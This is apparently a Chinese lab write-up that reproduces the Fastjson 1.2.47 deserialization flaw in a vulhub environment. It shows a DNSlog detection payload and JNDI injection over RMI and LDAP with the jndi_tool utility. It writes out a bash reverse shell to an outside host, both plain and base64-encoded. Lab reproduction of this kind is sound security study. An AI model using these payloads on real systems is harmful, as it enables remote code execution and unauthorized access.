FastJson漏洞复现

FastJson漏洞复现

环境:vulhub/fastjson

	Fastjson是阿里巴巴公司开源的一个高性能的Java库,专门用于处理JSON数据格式。
	它不仅能够将Java对象序列化为JSON格式的字符串,还能将JSON字符串反序列化为Java对象。

漏洞发现

  • 出现json格式的地方,就可能使用FastJsson

1.通过报错页面可以识别使用FastJsson

2.再通过DNSlog平台确认存在漏洞

  • bp抓包,将请求体改为以下内容并发送,发现返回DNS地址

    {
    "@type":"java.net.Inet4Address",
    "val":"qoxjdd.dnslog.cn"
    }

FastJs0n-1.2.47(反序列化)

原理:	
	fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
	
影响版本:
	Fastjson1.2.48之前

这里直接利用工具jndi_tool(需要jdk8环境)

https://github.com/wyzxxz/jndi_tool

利用一:JNDI注入+RMI

	JNDl(The Java Naming and Directory Interface,Java 命名和目录接口):一组在 Java 应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得可以用名称访问对象。
	RMI:Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。
  • 反弹shell语句为:

    bash -i >& /dev/tcp/8.8.8.8/4444 0>&1

  • 在java中需要对其进行base64编码(大括号内不能有空格):

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

  1. 使用工具生成payload,并开启9999端口的监听:

    java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

  1. 把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type
  1. 攻击机开启端口监听,即可收到shell

利用二:JNDI注入+LDAP

LDAP是轻量级目录访问协议
  • 基本用法不变,只是将jndi.HRMIServer改为jndi.HLDAPServer

    java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

  • 把payload通过bp发送给靶机,注意必须更改为POST请求和Content-Type
  • 攻击机开启端口监听,即可收到shell

其他利用工具:

[]:https://github.com/mbechler/marshalsec